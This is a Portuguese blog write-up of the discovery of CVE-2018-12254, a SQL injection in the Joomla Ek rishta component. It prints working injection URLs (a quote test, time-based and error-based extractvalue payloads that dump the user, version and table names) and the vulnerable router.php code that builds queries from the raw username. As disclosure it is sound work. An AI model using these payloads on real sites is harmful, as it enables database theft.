CVE-2018-12254 - Sql Injection Joomla Ek rishta Component
A vulnerabilidade foi encontrada de uma forma um pouco inusitada. A alguns dias o Daybson estava subindo um laboratório de teste novo, para o curso de Pentest Profissional da Desec Security, quando me chamou para testa-lo, eu em particular não sabia que vulnerabilidade havia no laboratório, apenas loguei e fui testar. Notei que eu tinha o nome do usuário na seguinte url(index.php/home/requested_user/Sent%20interest/corp
) e me pareceu um pouco estranho, talvez fosse gerado um novo arquivo durante o registro ou algo assim, mas na verdade notei que aquilo não era um arquivo, era realmente um parâmetro da url.
O teste inicial logicamente foi adicionar uma aspas simples e ver o que iria me retornar:
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'or%20a%23

Então, seguindo o erro, temos um Sql Injection aqui!
Fazendo mais um teste para confirmar, conseguimos ter a certeza disso:
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'or%20sleep(5)%23

Até este ponto estava tudo bem, porém notei uma limitação ao tentar dumpar a db no modo clássico, até mesmo usando blind. Me pareceu estranho não conseguir resposta para algumas querys, porém, entendi que eu estava limitado, fazendo algumas pesquisas vi que a maneira seria fazer o dump usando error based com XPATH Injection.
url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(1,user())%20%23

url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(1,version())%20%23

url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(0x0a,concat(0x0a,(select%20database())))%20%23

url:http://[HOST]/index.php/home/requested_user/Sent%20interest/1'%20or%20extractvalue(0x0a,concat(0x0a,(select%20table_name%20from%20information_schema.tables)))%20%23

Bom, a partir deste ponto, a melhor forma seria criar um script para fazer o dump!
Depois disso, eu ainda assim fiquei curioso para saber como que o componente estava capturando esta parte da url, então baixei o código dele e vasculhei até encontrar o seguinte trecho:
router.php
238 - if(!empty($segments[2]) && $segments[0]=='requested_user') {
239 - $c_id = EkrishtaUsrID($segments[2]);
240 - if($segments[1] == "Sent interest")
241 - $vars['rid'] = $c_id;
242 - else
243 - $vars['cid'] = $c_id;
244 - }
Fazendo uma analise rápida, sabemos que o $c_id
esta capturando o segmento que está o nosso nome de usuário e adicionando ele a um array ($vars
), podemos basicamente adivinhar que a função EkrishtaUsrID()
está buscando o nosso id ou o nome do usuário no banco de dados, mas vamos ver o que realmente ela está fazendo.
Fazendo uma procura pela função EkrishtaUsrID()
, encontrei ela presente no mesmo arquivo e é possível ver que que existe uma falta de sanitização nas linhas 295
e 305
.
291 - function EkrishtaUsrName($uid)
292 - {
293 -
294 - $db = JFactory::getDBO();
295 - $sql = "SELECT `username` FROM #__users WHERE `id`='". $uid."'";
296 - $db->setQuery($sql);
297 - return $db->loadResult();
298 -
299 - }
300 -
301 - function EkrishtaUsrID($uid_name)
302 - {
303 -
304 - $db = JFactory::getDBO();
305 - $sql = "SELECT `id` FROM #__users WHERE `username`= '" .$uid_name."'";
306 - $db->setQuery($sql);
307 - return $db->loadResult();
308 -
309 - }
Para finalizar a história, a vulnerabilidade que eu encontrei não estava dentro daquilo que estava programado para o laboratório e também não estava assinada ou relacionada a qualquer outra descoberta, então peguei uma cve :).